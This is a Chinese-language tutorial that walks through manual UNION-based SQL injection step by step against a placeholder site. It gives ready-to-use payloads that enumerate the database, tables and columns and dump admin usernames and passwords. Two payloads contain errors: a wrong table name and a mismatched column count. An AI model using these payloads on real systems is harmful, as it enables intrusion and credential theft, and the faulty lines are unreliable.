手动sql注入流程:
1.判断注入点
2.判断字段数
3.判断可显字段位置
4.爆库名
5.爆表
6.爆字段
7.爆内容
实验环境
渗透网站:www.abc.com (已查明没有此网站,这里只是举个例子)
www.abc.com?id=123 是该网站的后台提交页面。
此次查询的字段数是4个。数据库=gov,表=admin,username=root,password=123456.
思路:我们要在数据库查询出我们想要的内容,就需要知道表名和字段名。如:select username,password from admin;
要知道字段名<-表名<-库名
1.判断注入点
www.abc.com?id=123 and 1=1 网页没报错
www.abc.com?id=123 and 1=2 网页报错
由此可见www.abc.com?id=123是注入点。
2.判断字段数
order by 判断此次查询有几个字段。
www.abc.com?id=123 order by 4 判断出此次查询字段数是4个
3.爆可显字段。
union联合查询可以判断出可显字段。
www.abc.com?id=123 and 1=2 union select 1,2,3,4 ;
判断出2、3号位是可显字段
4.爆库名
这里利用可显字段爆出数据库名字、版本等信息。
www.abc.com?id=123 and 1=2 union select 1,version(),group_concat(database(),user()),4;
由此爆出数据库版本5.1、数据库用户root、数据库名称gov。
5.爆表
www.abc.com?id=123 and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = "gov"
这里爆出表admin
MySQL数据库中的information_schema介绍。
information_schema包含了mysql所有的库、表、列的相关信息 (数据库)
tables 存放了所有表的信息。在这里查表名 (表)
columns 存放了所有列的信息。在这里查列名 (表)
table_name 表名 (字段)
column_name 列名 (字段)
table_schema 库名 (字段)
帮助理解:tables中保存了所有表信息,所以要查表名可以从tables中查询,但tables表中有很多表,所以通过table_schema库名来筛选我们是要查的是哪张表。
注:
group_concat函数
作用:将内容集中显示。
语法:group_concat(str1,str2,…)
返回结果为拼接字符串,若有一个参数为null,则返回值为null。
爆字段
www.abc.com?id=123 and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.column where table_name = "admin"
这里爆出字段username、password
爆内容
现在数据库名、表名、字段(列名)都有了,就可以查询内容了。
www.abc.com?id=123 and 1=2 union select 1,group_concat(username,password),4 from admin;
这里爆出username=root password=123456
此时就爆出了数据库里的用户名和密码了,但是实战当中表中存的用户名和密码可能很多,杂乱无章不好查看。
可以使用以下技巧一遍查看。
技巧:
0x3a 是16进制,在ascll码中表示冒号 。
可以添加冒号和换行来方便查看。
冒号(:
)在ascll码中的十六进制表示为**0x3a
;
html中换行符**(<hr/>
)在ascll码中的十六进制表示为0x3C,0x68,0x72,0x2F,0x3E
。
例:
select group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from user;
效果类似于下图: